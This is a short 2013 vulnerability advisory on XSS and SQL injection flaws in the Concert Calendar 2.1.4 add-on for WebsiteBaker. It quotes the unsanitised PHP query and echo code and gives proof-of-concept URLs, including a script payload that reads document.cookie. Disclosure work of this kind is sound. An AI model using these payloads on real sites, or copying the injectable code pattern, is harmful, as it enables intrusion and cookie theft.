Advisory: Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi vulnerability Advisory ID: SSCHADV2013-001 Author: Stefan Schurtz Affected Software: Successfully tested on Concert Calendar 2.1.4 Vendor URL: http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37 Vendor Status: informed ========================== Vulnerability Description ========================== Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi vulnerability ========================== Vuln code ========================== // view.php if (isset($_GET['date'])) { $date = $_GET['date']; } . . . // SQLi $query_dates = mysql_query("SELECT * FROM ".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' && concert_date = '$date'"); // Zeile 184 // XSS echo " ".switch_date($date, $dateview)." "; // Zeile 176 ========================== PoC-Exploit ========================== // SQLi (magic_quotes = off) http://[target]/wb/pages/addon.php?date=[SQLi] // XSS http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script> ========================== Solution ========================== - ========================== Disclosure Timeline ========================== 01-Jan-2013 - developer informed ========================== Credits ========================== Vulnerabilities found and advisory written by Stefan Schurtz. ========================== References ========================== http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37 http://www.darksecurity.de/advisories/2012/SSCHADV2012-022.txt